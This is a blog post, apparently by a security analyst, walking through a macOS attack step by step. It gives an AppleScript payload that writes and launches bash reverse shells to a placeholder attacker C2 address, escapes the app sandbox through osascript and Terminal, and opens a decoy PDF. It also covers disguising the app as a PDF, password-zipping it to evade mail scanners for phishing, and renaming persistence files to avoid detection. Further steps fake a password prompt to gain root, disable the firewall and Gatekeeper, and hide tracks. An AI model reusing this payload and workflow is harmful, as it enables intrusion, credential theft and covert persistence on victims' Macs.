Bypass macOS Sandbox, Privilege Escalation, and more

Ofir Almkias
8 min readNov 2, 2020

--

Escape from the sandbox — Photo by Alexander Dummer on Unsplash

In this article, we’ll go over the steps required to bypass macOS Sandbox mechanism and perform privilege escalation by manipulating the victim. We’ll mainly focus on the abusing macOS AppleScript and osascript. In this article, I’ll explain some of the macOS components, the steps required for building our payload, mentioning attack vectors, post-exploitation workflow, creating persistence, performing privilege escalation, disable macOS security mechanisms, and cleaning our tracks.

macOS Catalina PoC:

PoC Bypassing macOS Sandbox, performing Privilege Escalation

*UPDATE 14.11.2020* - macOS Big Sur PoC:

PoC Bypassing macOS Big Sur Sandbox, performing Privilege Escalation

First I’d like to explain what is AppleScript and why it so powerful by the hand of threat actors. AppleScript is a scripting language created by Apple. “It allows users to directly control scriptable Macintosh applications, as well as parts of macOS itself. You can create scripts — sets of written instructions — to automate repetitive tasks, combine features from multiple scriptable applications, and create complex workflows” (Apple).

Applescript
AppleScript

Why AppleScript is so powerful?

First, it’s trusted by macOS operating system, and less attention is directed to it in the security field. Second, it allows automating malicious tasks and execution of processes without user interaction. Third, can be easily created using ‘Script Editor’ tool on macOS. All of these explains why AppleScript is preferred by threat actors.

App Sandbox:

App Sandbox is an access control technology provided in macOS, enforced at the kernel level. It is designed to contain damage to the system and the user’s data if an app becomes compromised.

Apple Sandbox
App Sandbox on macOS

Osascript:

Allows executing AppleScripts and other OSA language scripts. Can execute a given script file, or standard input if none is given. Osascript was designed for use with AppleScript but will work with any Open Scripting Architecture (OSA) language.

The method we’ll show in this article was used by Charlie Miller. It involves dropping a script to the disk and getting it executed by launchd via launchctl. In its PoC, he used “osascript” to send the required Apple events to launchd in order to execute the new process. As the new process is not a ‘child’ of the sandboxed process, it is created without the sandbox restrictions.

osascript
How parts of the OSA work together in executing scripts

Note: This specific technique will be demonstrated on macOS Catalina 15.X and works on Big Sur also. I’d like to mention that for the purpose of testing I’ve chosen the EggShell tool created by the developer Lucas Jackson.

Prerequisites:

  • Kali Linux machine up and running (Or any other Linux machine)
  • Install EggShell on your Linux machine (Follow the instructions on Github)
  • macOS machine (Physical or Virtual) updated to the latest version

Creating the Payload:

Open the macOS machine and look for an application named “Script Editor” that will allow us to create our crafted payload. Now, paste the following script and change the required fields accordingly (without the line numbers):

1 try
2 do shell script "mkdir /Users/$USER/Library/LaunchAgents/"
3 end try
4 set persis to "/Users/$USER/Library/LaunchAgents/.espl.plist"
5 set someText to "bash &> /dev/tcp/[Attacker C2 Address]/[Port Number1] 0>&1"
6 set textFile to "/tmp/.[backdoorName].sh"
7 do shell script "echo " & quoted form of someText & " > " & quoted form of textFile
8 do shell script "/usr/bin/osascript -e 'tell application \"Terminal\" to do script \"sh /tmp/.[backdoorName].sh &\"& quit'"
9 do shell script "open -a Safari 'PDF URL'"
10 set updtText to "bash &> /dev/tcp/[Attacker C2 Address]/[Port Number2] 0>&1"
11 do shell script "echo " & quoted form of updtText & " > " & quoted form of textFile

Now let's understand the idea behind this simple script.

Lines 1–3: Verifying if ‘LaunchAgent’ folder exists for persistence. Otherwise, creating it.
Line 4: Creating the persistence file named ‘.espl.plist’.
Lines 5–7: Creating a reverse shell script file in the tmp folder.
Line 8: Execution of reverse shell one-liner by osascript that runs it through Terminal (without the sandbox restrictions).
Line 9: Execution of Safari to open a PDF page to deceive the victim.
Lines 10–11: Changing the port number of the backdoor script to regain privileged access (will be explained later).

After we’ve done writing the script we’ll compile it using the marked button:

Malicious payload
The compiled code

After we finished writing the script, click on the top bar on File -> Export.

Export the complied script

Export As: Give a creative name for your payload
File Format: Application
Save

Next, we’ll build our malicious app and disguise it with an icon that will lure the victim to click on it. This is how it looks right after exporting (I wouldn’t click on that…)

Exported payload
Exported application using Script Editor

Due to that reason, I chose the PDF file icon on macOS.

PDF icon
macOS PDF icon

Then, I used an online converter that allowed me to convert a PNG file to an ICNS file format that is applicable for macOS. Next, save it under the name ‘applet.icns’.

applet.icns
ICNS for the disguised application

Now, we’ll replace our new ICNS file with the default one.
Right-click on the application -> ‘Show Package Contents’, navigate to the following path: Name_Of_Payload.app/Contents/Resources. Then drag and drop the ICNS file. Click Replace.

Drag and drop the ICNS file to the app resources folder

After a few seconds, the application icon will be changed.

Application disguised as PDF document

To ensure our application will run on every macOS and won’t show an error message, we must set it with execute permissions.

Error message caused by an application without execution permissions

To set execute permissions to our application we’ll simply use the following command-line:

chmod +x /pathToApp/Name_Of_Payload.app/Contents/MacOS/*

Then, we want to save our hard work and avoid the file from being corrupted when transferred. We’ll archive it using password-protected zip. To do so, navigate using ‘Terminal’ to your application path, then run the following command-line:

zip -er [name_file.zip] Name_Of_Payload.app

Then, you’ll be asked to insert the protection password twice… Simple!

Archiving our payload

Next, We’ll have the payload zipped and protected:

Zipped payload

Now, we are ready for the attack! Prepare your machine for firing Macs.
Set up the Kali machine ready with an active session of EggShell.
EggShell is a post-exploitation surveillance tool written in Python. It gives you a command-line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more.

Eggshell tool
EggShell Post Exploitation tool

If we want a listener for one connection we’ll use the first option of ‘Start Server’. The second option is ‘MultiHandler’ which is used for controlling multiple sessions on the same port. For this example, we’ll use the first option.
Write ‘1’ -> Press Enter -> Insert your IP address\DNS -> Insert port number (ex. 8888)-> Press Enter. That’s it… let’s wait for our victim!

Now, it’s your choice how to send the payload (E.g phishing). If you send the payload via email remember that you most zip it with a password… Most of the mail vendors might detect it as a malicious file (don’t forget to mention the password so the victim will be able to open it).

Then, we’ll wait for the victim to click on the payload and for the connection to be established.

Sandbox escape session
Connection established

To ensure we’ll be able to return to the victim machine we need to create persistence.

Persistence
Installing persistence via EggShell

After creating the persistence, a file named ‘.espl.plist’ will be created in the user’s LaunchAgents folder.
We want to change the PLIST file name from ‘.espl.plist’ to ‘.[something].plist’ to avoid detection by security vendors who detect the persistence by recognizing the original file name. Use the following cmdline:

mv /Users/$USER/Library/LaunchAgents/.espl.plist /Users/$USER/Library/LaunchAgents/.[something].plist

Privilege Escalation:

Now, let’s achieve our desired permissions! By luring the user to insert his user credentials we’ll be able to use it for our privileged escalation. To do it, we can prompt a fake login message using macOS AppleScript. EggShell offers it by one of its modules - ‘prompt’. Using the command ‘prompt ’, a message will pop up on the victim’s screen and will ask him for his password. In my PoC I’ve changed the module to make it more reliable. I spawned Appstore with an error message prompt asking for login credentials.

Privilege Escalation pre-stage
Fake prompt message

Once the victim inserts its credentials, the password will be exfiltrated. Next, we’ll be asked by EggShell if we would like to attempt performing privilege escalation (try logging as root).

Exfiltrated password
Victim’s password exfiltrated & pre-stage for privilege escalation

If the password is correct, we’ll achieve our privileged escalation and become root user.

macOS privilege escalation
Whoami? ROOT!

That’s it! WE ARE ROOT!
Now we can do almost whatever we want on this compromised machine.

Remember I said that we need to change the port of the backdoor script?
Here is the reason why, when we’ll come back from the persistence session we won’t be able to perform the ‘su’ command again (due to sandbox restrictions). Therefore, we’ll use oscascript to create a new shell session via Terminal (without sandbox restrictions). Using the following command:

osascript -e 'tell app "Terminal" to do script "sh /tmp/.[backdoorName].sh &" & quit'

Then, we’ll be able to achieve our ROOT privileges again! (executing ‘su’ command without creating this new session, will cause the shell to crash).

Useful commands:
The following commands can be used to disable macOS security mechanisms and hide our tracks:

#Disable macOS Firewall:

/usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off

#Disable macOS GateKeeper:

sudo spctl --master-disable
System Preferences -> Security & Privacy -> General -> Allow apps downloaded from: Anywhere -GateKeeper disabled)

#Kill processes by name (hide tracks):

pkill "[NameOfProcess\App]"

Now, after we explained everything in detail, it is recommended to watch the PoC again.

Conclusion:

The abuse of AppleScript to bypass sandbox and perform privilege escalation appears to be very simple on macOS. It is likely that attacks weaponized with AppleScript will appear more often because of its vulnerable design — its simplicity and ability to widely control the macOS operating system can make it preferred by threat actors. The combination of a simple script application, good surveillance tool, and a creative mindset can be destructive to the victim.

--

--

Ofir Almkias
Ofir Almkias

Written by Ofir Almkias

Senior Security Analyst & Threat Hunter & Mobile Security Researcher

Responses (1)